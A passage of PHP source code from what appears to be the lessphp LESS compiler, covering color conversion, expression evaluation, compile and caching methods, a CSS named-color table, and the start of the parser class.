        } else {
            if ($value[0] !== "list" || $value[1] != ",") $this->throwError("expecting list");
            $values = $value[2];
            $numValues = count($values);
            if ($expectedArgs != $numValues) {
                if ($name) {
                    $name = $name . ": ";
                }

                $this->throwError("${name}expecting $expectedArgs arguments, got $numValues");
            }

            return $values;
        }
    }

    protected function toHSL($color) {
        if ($color[0] === 'hsl') {
            return $color;
        }

        $r = $color[1] / 255;
        $g = $color[2] / 255;
        $b = $color[3] / 255;

        $min = min($r, $g, $b);
        $max = max($r, $g, $b);

        $L = ($min + $max) / 2;
        if ($min == $max) {
            $S = $H = 0;
        } else {
            if ($L < 0.5) {
                $S = ($max - $min) / ($max + $min);
            } else {
                $S = ($max - $min) / (2.0 - $max - $min);
            }
            if ($r == $max) {
                $H = ($g - $b) / ($max - $min);
            } elseif ($g == $max) {
                $H = 2.0 + ($b - $r) / ($max - $min);
            } elseif ($b == $max) {
                $H = 4.0 + ($r - $g) / ($max - $min);
            }

        }

        $out = array('hsl',
            ($H < 0 ? $H + 6 : $H)*60,
            $S * 100,
            $L * 100,
        );

        if (count($color) > 4) {
            // copy alpha
            $out[] = $color[4];
        }
        return $out;
    }

    protected function toRGB_helper($comp, $temp1, $temp2) {
        if ($comp < 0) {
            $comp += 1.0;
        } elseif ($comp > 1) {
            $comp -= 1.0;
        }

        if (6 * $comp < 1) {
            return $temp1 + ($temp2 - $temp1) * 6 * $comp;
        }
        if (2 * $comp < 1) {
            return $temp2;
        }
        if (3 * $comp < 2) {
            return $temp1 + ($temp2 - $temp1)*((2/3) - $comp) * 6;
        }

        return $temp1;
    }

    /**
     * Converts a hsl array into a color value in rgb.
     * Expects H to be in range of 0 to 360, S and L in 0 to 100
     */
    protected function toRGB($color) {
        if ($color[0] === 'color') {
            return $color;
        }

        $H = $color[1] / 360;
        $S = $color[2] / 100;
        $L = $color[3] / 100;

        if ($S == 0) {
            $r = $g = $b = $L;
        } else {
            $temp2 = $L < 0.5 ?
                $L * (1.0 + $S) :
                $L + $S - $L * $S;

            $temp1 = 2.0 * $L - $temp2;

            $r = $this->toRGB_helper($H + 1/3, $temp1, $temp2);
            $g = $this->toRGB_helper($H, $temp1, $temp2);
            $b = $this->toRGB_helper($H - 1/3, $temp1, $temp2);
        }

        // $out = array('color', round($r*255), round($g*255), round($b*255));
        $out = array('color', $r*255, $g*255, $b*255);
        if (count($color) > 4) {
            // copy alpha
            $out[] = $color[4];
        }
        return $out;
    }

    protected function clamp($v, $max = 1, $min = 0) {
        return min($max, max($min, $v));
    }

    /**
     * Convert the rgb, rgba, hsl color literals of function type
     * as returned by the parser into values of color type.
     */
    protected function funcToColor($func) {
        $fname = $func[1];
        if ($func[2][0] != 'list') {
            // need a list of arguments
            return false;
        }
        $rawComponents = $func[2][2];

        if ($fname == 'hsl' || $fname == 'hsla') {
            $hsl = array('hsl');
            $i = 0;
            foreach ($rawComponents as $c) {
                $val = $this->reduce($c);
                $val = isset($val[1]) ? floatval($val[1]) : 0;

                if ($i == 0) {
                    $clamp = 360;
                } elseif ($i < 3) {
                    $clamp = 100;
                } else {
                    $clamp = 1;
                }

                $hsl[] = $this->clamp($val, $clamp);
                $i++;
            }

            while (count($hsl) < 4) {
                $hsl[] = 0;
            }
            return $this->toRGB($hsl);

        } elseif ($fname == 'rgb' || $fname == 'rgba') {
            $components = array();
            $i = 1;
            foreach ($rawComponents as $c) {
                $c = $this->reduce($c);
                if ($i < 4) {
                    if ($c[0] == "number" && $c[2] == "%") {
                        $components[] = 255 * ($c[1] / 100);
                    } else {
                        $components[] = floatval($c[1]);
                    }
                } elseif ($i == 4) {
                    if ($c[0] == "number" && $c[2] == "%") {
                        $components[] = 1.0 * ($c[1] / 100);
                    } else {
                        $components[] = floatval($c[1]);
                    }
                } else break;

                $i++;
            }
            while (count($components) < 3) {
                $components[] = 0;
            }
            array_unshift($components, 'color');
            return $this->fixColor($components);
        }

        return false;
    }

    protected function reduce($value, $forExpression = false) {
        switch ($value[0]) {
        case "interpolate":
            $reduced = $this->reduce($value[1]);
            $var = $this->compileValue($reduced);
            $res = $this->reduce(array("variable", $this->vPrefix . $var));

            if ($res[0] == "raw_color") {
                $res = $this->coerceColor($res);
            }

            if (empty($value[2])) $res = $this->lib_e($res);

            return $res;
        case "variable":
            $key = $value[1];
            if (is_array($key)) {
                $key = $this->reduce($key);
                $key = $this->vPrefix . $this->compileValue($this->lib_e($key));
            }

            $seen =& $this->env->seenNames;

            if (!empty($seen[$key])) {
                $this->throwError("infinite loop detected: $key");
            }

            $seen[$key] = true;
            $out = $this->reduce($this->get($key));
            $seen[$key] = false;
            return $out;
        case "list":
            foreach ($value[2] as &$item) {
                $item = $this->reduce($item, $forExpression);
            }
            return $value;
        case "expression":
            return $this->evaluate($value);
        case "string":
            foreach ($value[2] as &$part) {
                if (is_array($part)) {
                    $strip = $part[0] == "variable";
                    $part = $this->reduce($part);
                    if ($strip) $part = $this->lib_e($part);
                }
            }
            return $value;
        case "escape":
            list(,$inner) = $value;
            return $this->lib_e($this->reduce($inner));
        case "function":
            $color = $this->funcToColor($value);
            if ($color) return $color;

            list(, $name, $args) = $value;
            if ($name == "%") $name = "_sprintf";

            $f = isset($this->libFunctions[$name]) ?
                $this->libFunctions[$name] : array($this, 'lib_'.str_replace('-', '_', $name));

            if (is_callable($f)) {
                if ($args[0] == 'list')
                    $args = self::compressList($args[2], $args[1]);

                $ret = call_user_func($f, $this->reduce($args, true), $this);

                if (is_null($ret)) {
                    return array("string", "", array(
                        $name, "(", $args, ")"
                    ));
                }

                // convert to a typed value if the result is a php primitive
                if (is_numeric($ret)) {
                    $ret = array('number', $ret, "");
                } elseif (!is_array($ret)) {
                    $ret = array('keyword', $ret);
                }

                return $ret;
            }

            // plain function, reduce args
            $value[2] = $this->reduce($value[2]);
            return $value;
        case "unary":
            list(, $op, $exp) = $value;
            $exp = $this->reduce($exp);

            if ($exp[0] == "number") {
                switch ($op) {
                case "+":
                    return $exp;
                case "-":
                    $exp[1] *= -1;
                    return $exp;
                }
            }
            return array("string", "", array($op, $exp));
        }

        if ($forExpression) {
            switch ($value[0]) {
            case "keyword":
                if ($color = $this->coerceColor($value)) {
                    return $color;
                }
                break;
            case "raw_color":
                return $this->coerceColor($value);
            }
        }

        return $value;
    }


    // coerce a value for use in color operation
    protected function coerceColor($value) {
        switch ($value[0]) {
            case 'color': return $value;
            case 'raw_color':
                $c = array("color", 0, 0, 0);
                $colorStr = substr($value[1], 1);
                $num = hexdec($colorStr);
                $width = strlen($colorStr) == 3 ? 16 : 256;

                for ($i = 3; $i > 0; $i--) { // 3 2 1
                    $t = $num % $width;
                    $num /= $width;

                    $c[$i] = $t * (256/$width) + $t * floor(16/$width);
                }

                return $c;
            case 'keyword':
                $name = $value[1];
                if (isset(self::$cssColors[$name])) {
                    $rgba = explode(',', self::$cssColors[$name]);

                    if (isset($rgba[3])) {
                        return array('color', $rgba[0], $rgba[1], $rgba[2], $rgba[3]);
                    }
                    return array('color', $rgba[0], $rgba[1], $rgba[2]);
                }
                return null;
        }
    }

    // make something string like into a string
    protected function coerceString($value) {
        switch ($value[0]) {
        case "string":
            return $value;
        case "keyword":
            return array("string", "", array($value[1]));
        }
        return null;
    }

    // turn list of length 1 into value type
    protected function flattenList($value) {
        if ($value[0] == "list" && count($value[2]) == 1) {
            return $this->flattenList($value[2][0]);
        }
        return $value;
    }

    public function toBool($a) {
        return $a ? self::$TRUE : self::$FALSE;
    }

    // evaluate an expression
    protected function evaluate($exp) {
        list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp;

        $left = $this->reduce($left, true);
        $right = $this->reduce($right, true);

        if ($leftColor = $this->coerceColor($left)) {
            $left = $leftColor;
        }

        if ($rightColor = $this->coerceColor($right)) {
            $right = $rightColor;
        }

        $ltype = $left[0];
        $rtype = $right[0];

        // operators that work on all types
        if ($op == "and") {
            return $this->toBool($left == self::$TRUE && $right == self::$TRUE);
        }

        if ($op == "=") {
            return $this->toBool($this->eq($left, $right) );
        }

        if ($op == "+" && !is_null($str = $this->stringConcatenate($left, $right))) {
            return $str;
        }

        // type based operators
        $fname = "op_${ltype}_${rtype}";
        if (is_callable(array($this, $fname))) {
            $out = $this->$fname($op, $left, $right);
            if (!is_null($out)) return $out;
        }

        // make the expression look it did before being parsed
        $paddedOp = $op;
        if ($whiteBefore) {
            $paddedOp = " " . $paddedOp;
        }
        if ($whiteAfter) {
            $paddedOp .= " ";
        }

        return array("string", "", array($left, $paddedOp, $right));
    }

    protected function stringConcatenate($left, $right) {
        if ($strLeft = $this->coerceString($left)) {
            if ($right[0] == "string") {
                $right[1] = "";
            }
            $strLeft[2][] = $right;
            return $strLeft;
        }

        if ($strRight = $this->coerceString($right)) {
            array_unshift($strRight[2], $left);
            return $strRight;
        }
    }


    // make sure a color's components don't go out of bounds
    protected function fixColor($c) {
        foreach (range(1, 3) as $i) {
            if ($c[$i] < 0) $c[$i] = 0;
            if ($c[$i] > 255) $c[$i] = 255;
        }

        return $c;
    }

    protected function op_number_color($op, $lft, $rgt) {
        if ($op == '+' || $op == '*') {
            return $this->op_color_number($op, $rgt, $lft);
        }
    }

    protected function op_color_number($op, $lft, $rgt) {
        if ($rgt[0] == '%') $rgt[1] /= 100;

        return $this->op_color_color($op, $lft,
            array_fill(1, count($lft) - 1, $rgt[1]));
    }

    protected function op_color_color($op, $left, $right) {
        $out = array('color');
        $max = count($left) > count($right) ? count($left) : count($right);
        foreach (range(1, $max - 1) as $i) {
            $lval = isset($left[$i]) ? $left[$i] : 0;
            $rval = isset($right[$i]) ? $right[$i] : 0;
            switch ($op) {
            case '+':
                $out[] = $lval + $rval;
                break;
            case '-':
                $out[] = $lval - $rval;
                break;
            case '*':
                $out[] = $lval * $rval;
                break;
            case '%':
                $out[] = $lval % $rval;
                break;
            case '/':
                if ($rval == 0) {
                    $this->throwError("evaluate error: can't divide by zero");
                }
                $out[] = $lval / $rval;
                break;
            default:
                $this->throwError('evaluate error: color op number failed on op '.$op);
            }
        }
        return $this->fixColor($out);
    }

    public function lib_red($color){
        $color = $this->coerceColor($color);
        if (is_null($color)) {
            $this->throwError('color expected for red()');
        }

        return $color[1];
    }

    public function lib_green($color){
        $color = $this->coerceColor($color);
        if (is_null($color)) {
            $this->throwError('color expected for green()');
        }

        return $color[2];
    }

    public function lib_blue($color){
        $color = $this->coerceColor($color);
        if (is_null($color)) {
            $this->throwError('color expected for blue()');
        }

        return $color[3];
    }


    // operator on two numbers
    protected function op_number_number($op, $left, $right) {
        $unit = empty($left[2]) ? $right[2] : $left[2];

        $value = 0;
        switch ($op) {
        case '+':
            $value = $left[1] + $right[1];
            break;
        case '*':
            $value = $left[1] * $right[1];
            break;
        case '-':
            $value = $left[1] - $right[1];
            break;
        case '%':
            $value = $left[1] % $right[1];
            break;
        case '/':
            if ($right[1] == 0) $this->throwError('parse error: divide by zero');
            $value = $left[1] / $right[1];
            break;
        case '<':
            return $this->toBool($left[1] < $right[1]);
        case '>':
            return $this->toBool($left[1] > $right[1]);
        case '>=':
            return $this->toBool($left[1] >= $right[1]);
        case '=<':
            return $this->toBool($left[1] <= $right[1]);
        default:
            $this->throwError('parse error: unknown number operator: '.$op);
        }

        return array("number", $value, $unit);
    }


    /* environment functions */

    protected function makeOutputBlock($type, $selectors = null) {
        $b = new stdclass;
        $b->lines = array();
        $b->children = array();
        $b->selectors = $selectors;
        $b->type = $type;
        $b->parent = $this->scope;
        return $b;
    }

    // the state of execution
    protected function pushEnv($block = null) {
        $e = new stdclass;
        $e->parent = $this->env;
        $e->store = array();
        $e->block = $block;

        $this->env = $e;
        return $e;
    }

    // pop something off the stack
    protected function popEnv() {
        $old = $this->env;
        $this->env = $this->env->parent;
        return $old;
    }

    // set something in the current env
    protected function set($name, $value) {
        $this->env->store[$name] = $value;
    }


    // get the highest occurrence entry for a name
    protected function get($name) {
        $current = $this->env;

        $isArguments = $name == $this->vPrefix . 'arguments';
        while ($current) {
            if ($isArguments && isset($current->arguments)) {
                return array('list', ' ', $current->arguments);
            }

            if (isset($current->store[$name])) {
                return $current->store[$name];
            }

            $current = isset($current->storeParent) ?
                $current->storeParent :
                $current->parent;
        }

        $this->throwError("variable $name is undefined");
    }

    // inject array of unparsed strings into environment as variables
    protected function injectVariables($args) {
        $this->pushEnv();
        $parser = new lessc_parser($this, __METHOD__);
        foreach ($args as $name => $strValue) {
            if ($name{0} !== '@') {
                $name = '@' . $name;
            }
            $parser->count = 0;
            $parser->buffer = (string)$strValue;
            if (!$parser->propertyValue($value)) {
                throw new Exception("failed to parse passed in variable $name: $strValue");
            }

            $this->set($name, $value);
        }
    }

    /**
     * Initialize any static state, can initialize parser for a file
     * $opts isn't used yet
     */
    public function __construct($fname = null) {
        if ($fname !== null) {
            // used for deprecated parse method
            $this->_parseFile = $fname;
        }
    }

    public function compile($string, $name = null) {
        $locale = setlocale(LC_NUMERIC, 0);
        setlocale(LC_NUMERIC, "C");

        $this->parser = $this->makeParser($name);
        $root = $this->parser->parse($string);

        $this->env = null;
        $this->scope = null;

        $this->formatter = $this->newFormatter();

        if (!empty($this->registeredVars)) {
            $this->injectVariables($this->registeredVars);
        }

        $this->sourceParser = $this->parser; // used for error messages
        $this->compileBlock($root);

        ob_start();
        $this->formatter->block($this->scope);
        $out = ob_get_clean();
        setlocale(LC_NUMERIC, $locale);
        return $out;
    }

    public function compileFile($fname, $outFname = null) {
        if (!is_readable($fname)) {
            throw new Exception('load error: failed to find '.$fname);
        }

        $pi = pathinfo($fname);

        $oldImport = $this->importDir;

        $this->importDir = (array)$this->importDir;
        $this->importDir[] = $pi['dirname'].'/';

        $this->addParsedFile($fname);

        $out = $this->compile(file_get_contents($fname), $fname);

        $this->importDir = $oldImport;

        if ($outFname !== null) {
            return file_put_contents($outFname, $out);
        }

        return $out;
    }

    // compile only if changed input has changed or output doesn't exist
    public function checkedCompile($in, $out) {
        if (!is_file($out) || filemtime($in) > filemtime($out)) {
            $this->compileFile($in, $out);
            return true;
        }
        return false;
    }

    /**
     * Execute lessphp on a .less file or a lessphp cache structure
     *
     * The lessphp cache structure contains information about a specific
     * less file having been parsed. It can be used as a hint for future
     * calls to determine whether or not a rebuild is required.
     *
     * The cache structure contains two important keys that may be used
     * externally:
     *
     * compiled: The final compiled CSS
     * updated: The time (in seconds) the CSS was last compiled
     *
     * The cache structure is a plain-ol' PHP associative array and can
     * be serialized and unserialized without a hitch.
     *
     * @param mixed $in Input
     * @param bool $force Force rebuild?
     * @return array lessphp cache structure
     */
    public function cachedCompile($in, $force = false) {
        // assume no root
        $root = null;

        if (is_string($in)) {
            $root = $in;
        } elseif (is_array($in) && isset($in['root'])) {
            if ($force || !isset($in['files'])) {
                // If we are forcing a recompile or if for some reason the
                // structure does not contain any file information we should
                // specify the root to trigger a rebuild.
                $root = $in['root'];
            } elseif (isset($in['files']) && is_array($in['files'])) {
                foreach ($in['files'] as $fname => $ftime) {
                    if (!file_exists($fname) || filemtime($fname) > $ftime) {
                        // One of the files we knew about previously has changed
                        // so we should look at our incoming root again.
                        $root = $in['root'];
                        break;
                    }
                }
            }
        } else {
            // TODO: Throw an exception? We got neither a string nor something
            // that looks like a compatible lessphp cache structure.
            return null;
        }

        if ($root !== null) {
            // If we have a root value which means we should rebuild.
            $out = array();
            $out['root'] = $root;
            $out['compiled'] = $this->compileFile($root);
            $out['files'] = $this->allParsedFiles();
            $out['updated'] = time();
            return $out;
        } else {
            // No changes, pass back the structure
            // we were given initially.
            return $in;
        }

    }

    // parse and compile buffer
    // This is deprecated
    public function parse($str = null, $initialVariables = null) {
        if (is_array($str)) {
            $initialVariables = $str;
            $str = null;
        }

        $oldVars = $this->registeredVars;
        if ($initialVariables !== null) {
            $this->setVariables($initialVariables);
        }

        if ($str == null) {
            if (empty($this->_parseFile)) {
                throw new exception("nothing to parse");
            }

            $out = $this->compileFile($this->_parseFile);
        } else {
            $out = $this->compile($str);
        }

        $this->registeredVars = $oldVars;
        return $out;
    }

    protected function makeParser($name) {
        $parser = new lessc_parser($this, $name);
        $parser->writeComments = $this->preserveComments;

        return $parser;
    }

    public function setFormatter($name) {
        $this->formatterName = $name;
    }

    protected function newFormatter() {
        $className = "lessc_formatter_lessjs";
        if (!empty($this->formatterName)) {
            if (!is_string($this->formatterName))
                return $this->formatterName;
            $className = "lessc_formatter_$this->formatterName";
        }

        return new $className;
    }

    public function setPreserveComments($preserve) {
        $this->preserveComments = $preserve;
    }

    public function registerFunction($name, $func) {
        $this->libFunctions[$name] = $func;
    }

    public function unregisterFunction($name) {
        unset($this->libFunctions[$name]);
    }

    public function setVariables($variables) {
        $this->registeredVars = array_merge($this->registeredVars, $variables);
    }

    public function unsetVariable($name) {
        unset($this->registeredVars[$name]);
    }

    public function setImportDir($dirs) {
        $this->importDir = (array)$dirs;
    }

    public function addImportDir($dir) {
        $this->importDir = (array)$this->importDir;
        $this->importDir[] = $dir;
    }

    public function allParsedFiles() {
        return $this->allParsedFiles;
    }

    public function addParsedFile($file) {
        $this->allParsedFiles[realpath($file)] = filemtime($file);
    }

    /**
     * Uses the current value of $this->count to show line and line number
     */
    public function throwError($msg = null) {
        if ($this->sourceLoc >= 0) {
            $this->sourceParser->throwError($msg, $this->sourceLoc);
        }
        throw new exception($msg);
    }

    // compile file $in to file $out if $in is newer than $out
    // returns true when it compiles, false otherwise
    public static function ccompile($in, $out, $less = null) {
        if ($less === null) {
            $less = new self;
        }
        return $less->checkedCompile($in, $out);
    }

    public static function cexecute($in, $force = false, $less = null) {
        if ($less === null) {
            $less = new self;
        }
        return $less->cachedCompile($in, $force);
    }

    static protected $cssColors = array(
        'aliceblue' => '240,248,255',
        'antiquewhite' => '250,235,215',
        'aqua' => '0,255,255',
        'aquamarine' => '127,255,212',
        'azure' => '240,255,255',
        'beige' => '245,245,220',
        'bisque' => '255,228,196',
        'black' => '0,0,0',
        'blanchedalmond' => '255,235,205',
        'blue' => '0,0,255',
        'blueviolet' => '138,43,226',
        'brown' => '165,42,42',
        'burlywood' => '222,184,135',
        'cadetblue' => '95,158,160',
        'chartreuse' => '127,255,0',
        'chocolate' => '210,105,30',
        'coral' => '255,127,80',
        'cornflowerblue' => '100,149,237',
        'cornsilk' => '255,248,220',
        'crimson' => '220,20,60',
        'cyan' => '0,255,255',
        'darkblue' => '0,0,139',
        'darkcyan' => '0,139,139',
        'darkgoldenrod' => '184,134,11',
        'darkgray' => '169,169,169',
        'darkgreen' => '0,100,0',
        'darkgrey' => '169,169,169',
        'darkkhaki' => '189,183,107',
        'darkmagenta' => '139,0,139',
        'darkolivegreen' => '85,107,47',
        'darkorange' => '255,140,0',
        'darkorchid' => '153,50,204',
        'darkred' => '139,0,0',
        'darksalmon' => '233,150,122',
        'darkseagreen' => '143,188,143',
        'darkslateblue' => '72,61,139',
        'darkslategray' => '47,79,79',
        'darkslategrey' => '47,79,79',
        'darkturquoise' => '0,206,209',
        'darkviolet' => '148,0,211',
        'deeppink' => '255,20,147',
        'deepskyblue' => '0,191,255',
        'dimgray' => '105,105,105',
        'dimgrey' => '105,105,105',
        'dodgerblue' => '30,144,255',
        'firebrick' => '178,34,34',
        'floralwhite' => '255,250,240',
        'forestgreen' => '34,139,34',
        'fuchsia' => '255,0,255',
        'gainsboro' => '220,220,220',
        'ghostwhite' => '248,248,255',
        'gold' => '255,215,0',
        'goldenrod' => '218,165,32',
        'gray' => '128,128,128',
        'green' => '0,128,0',
        'greenyellow' => '173,255,47',
        'grey' => '128,128,128',
        'honeydew' => '240,255,240',
        'hotpink' => '255,105,180',
        'indianred' => '205,92,92',
        'indigo' => '75,0,130',
        'ivory' => '255,255,240',
        'khaki' => '240,230,140',
        'lavender' => '230,230,250',
        'lavenderblush' => '255,240,245',
        'lawngreen' => '124,252,0',
        'lemonchiffon' => '255,250,205',
        'lightblue' => '173,216,230',
        'lightcoral' => '240,128,128',
        'lightcyan' => '224,255,255',
        'lightgoldenrodyellow' => '250,250,210',
        'lightgray' => '211,211,211',
        'lightgreen' => '144,238,144',
        'lightgrey' => '211,211,211',
        'lightpink' => '255,182,193',
        'lightsalmon' => '255,160,122',
        'lightseagreen' => '32,178,170',
        'lightskyblue' => '135,206,250',
        'lightslategray' => '119,136,153',
        'lightslategrey' => '119,136,153',
        'lightsteelblue' => '176,196,222',
        'lightyellow' => '255,255,224',
        'lime' => '0,255,0',
        'limegreen' => '50,205,50',
        'linen' => '250,240,230',
        'magenta' => '255,0,255',
        'maroon' => '128,0,0',
        'mediumaquamarine' => '102,205,170',
        'mediumblue' => '0,0,205',
        'mediumorchid' => '186,85,211',
        'mediumpurple' => '147,112,219',
        'mediumseagreen' => '60,179,113',
        'mediumslateblue' => '123,104,238',
        'mediumspringgreen' => '0,250,154',
        'mediumturquoise' => '72,209,204',
        'mediumvioletred' => '199,21,133',
        'midnightblue' => '25,25,112',
        'mintcream' => '245,255,250',
        'mistyrose' => '255,228,225',
        'moccasin' => '255,228,181',
        'navajowhite' => '255,222,173',
        'navy' => '0,0,128',
        'oldlace' => '253,245,230',
        'olive' => '128,128,0',
        'olivedrab' => '107,142,35',
        'orange' => '255,165,0',
        'orangered' => '255,69,0',
        'orchid' => '218,112,214',
        'palegoldenrod' => '238,232,170',
        'palegreen' => '152,251,152',
        'paleturquoise' => '175,238,238',
        'palevioletred' => '219,112,147',
        'papayawhip' => '255,239,213',
        'peachpuff' => '255,218,185',
        'peru' => '205,133,63',
        'pink' => '255,192,203',
        'plum' => '221,160,221',
        'powderblue' => '176,224,230',
        'purple' => '128,0,128',
        'red' => '255,0,0',
        'rosybrown' => '188,143,143',
        'royalblue' => '65,105,225',
        'saddlebrown' => '139,69,19',
        'salmon' => '250,128,114',
        'sandybrown' => '244,164,96',
        'seagreen' => '46,139,87',
        'seashell' => '255,245,238',
        'sienna' => '160,82,45',
        'silver' => '192,192,192',
        'skyblue' => '135,206,235',
        'slateblue' => '106,90,205',
        'slategray' => '112,128,144',
        'slategrey' => '112,128,144',
        'snow' => '255,250,250',
        'springgreen' => '0,255,127',
        'steelblue' => '70,130,180',
        'tan' => '210,180,140',
        'teal' => '0,128,128',
        'thistle' => '216,191,216',
        'tomato' => '255,99,71',
        'transparent' => '0,0,0,0',
        'turquoise' => '64,224,208',
        'violet' => '238,130,238',
        'wheat' => '245,222,179',
        'white' => '255,255,255',
        'whitesmoke' => '245,245,245',
        'yellow' => '255,255,0',
        'yellowgreen' => '154,205,50'
    );
}

// responsible for taking a string of LESS code and converting it into a
// syntax tree
class lessc_parser {
    static protected $nextBlockId = 0; // used to uniquely identify blocks

    static protected $precedence = array(
        '=<' => 0,
        '>=' => 0,
        '=' => 0,
        '<' => 0,
        '>' => 0,

        '+' => 1,
        '-' => 1,
        '*' => 2,
        '/' => 2,
        '%' => 2,
    );

    static protected $whitePattern;
    static protected $commentMulti;

    static protected $commentSingle = "//";
    static protected $commentMultiLeft = "/*";
    static protected $commentMultiRight = "*/";

    // regex string to match any of the operators
    static protected $operatorString;

    // these properties will supress division unless it's inside parenthases
    static protected $supressDivisionProps =
        array('/border-radius$/i', '/^font$/i');

    protected $blockDirectives = array("font-face", "keyframes", "page", "-moz-document", "viewport", "-moz-viewport", "-o-viewport", "-ms-viewport");
    protected $lineDirectives = array("charset");

    /**
     * if we are in parens we can be more liberal with whitespace around
     * operators because it must evaluate to a single value and thus is less
     * ambiguous.
     *
     * Consider:
     *     property1: 10 -5; // is two numbers, 10 and -5
     *     property2: (10 -5); // should evaluate to 5
     */
    protected $inParens = false;

    // caches preg escaped literals
    static protected $literalCache = array();

    public function __construct($lessc, $sourceName = null) {
        $this->eatWhiteDefault = true;
        // reference to less needed for vPrefix, mPrefix, and parentSelector
        $this->lessc = $lessc;

        $this->sourceName = $sourceName; // name used for error messages

        $this->writeComments = false;

        if (!self::$operatorString) {
            self::$operatorString =
                '('.implode('|', array_map(array('lessc', 'preg_quote'),
                    array_keys(self::$precedence))).')';

            $commentSingle = lessc::preg_quote(self::$commentSingle);
            $commentMultiLeft = lessc::preg_quote(self::$commentMultiLeft);
            $commentMultiRight = lessc::preg_quote(self::$commentMultiRight);

            self::$commentMulti = $commentMultiLeft.'.*?'.$commentMultiRight;
            self::$whitePattern = '/'.$commentSingle.'[^\n]*\s*|('.self::$commentMulti.')\s*|\s+/Ais';
        }
    }

    public function parse($buffer) {
        $this->count = 0;
        $this->line = 1;

        $this->env = null; // block stack
        $this->buffer = $this->writeComments ? $buffer : $this->removeComments($buffer);
        $this->pushSpecialBlock("root");
        $this->eatWhiteDefault = true;
        $this->seenComments = array();

        // trim whitespace on head
        // if (preg_match('/^\s+/', $this->buffer, $m)) {
        //  $this->line += substr_count($m[0], "\n");
        //  $this->buffer = ltrim($this->buffer);
        // }
        $this->whitespace();

        // parse the entire file
        while (false !== $this->parseChunk());

        if ($this->count != strlen($this->buffer))
            $this->throwError();

        // TODO report where the block was opened
        if ( !property_exists($this->env, 'parent') || !is_null($this->env->parent) )
            throw new exception('parse error: unclosed block');

        return $this->env;
    }

    /**
     * Parse a single chunk off the head of the buffer and append it to the
     * current parse environment.
     * Returns false when the buffer is empty, or when there is an error.
     *
     * This function is called repeatedly until the entire document is
     * parsed.
     *
     * This parser is most similar to a recursive descent parser. Single
     * functions represent discrete grammatical rules for the language, and
     * they are able to capture the text that represents those rules.
     *
     * Consider the function lessc::keyword(). (all parse functions are
     * structured the same)
     *
     * The function takes a single reference argument. When calling the
     * function it will attempt to match a keyword on the head of the buffer.
     * If it is successful, it will place the keyword in the referenced
     * argument, advance the position in the buffer, and return true. If it
     * fails then it won't advance the buffer and it will return false.
     *
     * All of these parse functions are powered by lessc::match(), which behaves
     * the same way, but takes a literal regular expression. Sometimes it is
     * more convenient to use match instead of creating a new function.
     *
     * Because of the format of the functions, to parse an entire string of
     * grammatical rules, you can chain them together using &&.
     *
     * But, if some of the rules in the chain succeed before one fails, then
     * the buffer position will be left at an invalid state. In order to
     * avoid this, lessc::seek() is used to remember and set buffer positions.
     *
     * Before parsing a chain, use $s = $this->seek() to remember the current
     * position into $s. Then if a chain fails, use $this->seek($s) to
     * go back where we started.
     */
    protected function parseChunk() {
        if (empty($this->buffer)) return false;
        $s = $this->seek();

        if ($this->whitespace()) {
            return true;
        }

        // setting a property
        if ($this->keyword($key) && $this->assign() &&
            $this->propertyValue($value, $key) && $this->end()
        ) {
            $this->append(array('assign', $key, $value), $s);
            return true;
        } else {
            $this->seek($s);
        }


        // look for special css blocks
        if ($this->literal('@', false)) {
            $this->count--;

            // media
            if ($this->literal('@media')) {
                if (($this->mediaQueryList($mediaQueries) || true)
                    && $this->literal('{')
                ) {
                    $media = $this->pushSpecialBlock("media");
                    $media->queries = is_null($mediaQueries) ? array() : $mediaQueries;
                    return true;
                } else {
                    $this->seek($s);
                    return false;
                }
            }

            if ($this->literal("@", false) && $this->keyword($dirName)) {
                if ($this->isDirective($dirName, $this->blockDirectives)) {
                    if (($this->openString("{", $dirValue, null, array(";")) || true) &&
                        $this->literal("{")
                    ) {
                        $dir = $this->pushSpecialBlock("directive");
                        $dir->name = $dirName;
                        if (isset($dirValue)) $dir->value = $dirValue;
                        return true;
                    }
                } elseif ($this->isDirective($dirName, $this->lineDirectives)) {
                    if ($this->propertyValue($dirValue) && $this->end()) {
                        $this->append(array("directive", $dirName, $dirValue));
                        return true;
                    }
                }
            }

            $this->seek($s);
        }

        // setting a variable
        if ($this->variable($var) && $this->assign() &&
            $this->propertyValue($value) && $this->end()
        ) {
            $this->append(array('assign', $var, $value), $s);
            return true;
        } else {
            $this->seek($s);
        }

        if ($this->import($importValue)) {
            $this->append($importValue, $s);
            return true;
        }

        // opening parametric mixin
        if ($this->tag($tag, true) && $this->argumentDef($args, $isVararg) &&
            ($this->guards($guards) || true) &&
            $this->literal('{')
        ) {
            $block = $this->pushBlock($this->fixTags(array($tag)));
            $block->args = $args;
            $block->isVararg = $isVararg;
            if (!empty($guards)) $block->guards = $guards;
            return true;
        } else {
            $this->seek($s);
        }

        // opening a simple block
        if ($this->tags($tags) && $this->literal('{', false)) {
            $tags = $this->fixTags($tags);
            $this->pushBlock($tags);
            return true;
        } else {
            $this->seek($s);
        }

        // closing a block
        if ($this->literal('}', false)) {
            try {
                $block = $this->pop();
            } catch (exception $e) {
                $this->seek($s);
                $this->throwError($e->getMessage());
            }

            $hidden = false;
            if (is_null($block->type)) {
                $hidden = true;
                if (!isset($block->args)) {
                    foreach ($block->tags as $tag) {
                        if (!is_string($tag) || $tag{0} != $this->lessc->mPrefix) {
                            $hidden = false;
                            break;
                        }
                    }
                }

                foreach ($block->tags as $tag) {
                    if (is_string($tag)) {
                        $this->env->children[$tag][] = $block;
                    }
                }
            }

            if (!$hidden) {
                $this->append(array('block', $block), $s);
            }

            // this is done here so comments aren't bundled into he block that
            // was just closed
            $this->whitespace();
            return true;
        }

        // mixin
        if ($this->mixinTags($tags) &&
            ($this->argumentDef($argv, $isVararg) || true) &&
            ($this->keyword($suffix) || true) && $this->end()
        ) {
            $tags = $this->fixTags($tags);
            $this->append(array('mixin', $tags, $argv, $suffix), $s);
            return true;
        } else {
            $this->seek($s);
        }

        // spare ;
        if ($this->literal(';')) return true;

        return false; // got nothing, throw error
    }

    protected function isDirective($dirname, $directives) {
        // TODO: cache pattern in parser
        $pattern = implode("|",
            array_map(array("lessc", "preg_quote"), $directives));
        $pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i';

        return preg_match($pattern, $dirname);
    }

    protected function fixTags($tags) {
        // move @ tags out of variable namespace
        foreach ($tags as &$tag) {
            if ($tag{0} == $this->lessc->vPrefix)
                $tag[0] = $this->lessc->mPrefix;
        }
        return $tags;
    }

    // a list of expressions
    protected function expressionList(&$exps) {
        $values = array();

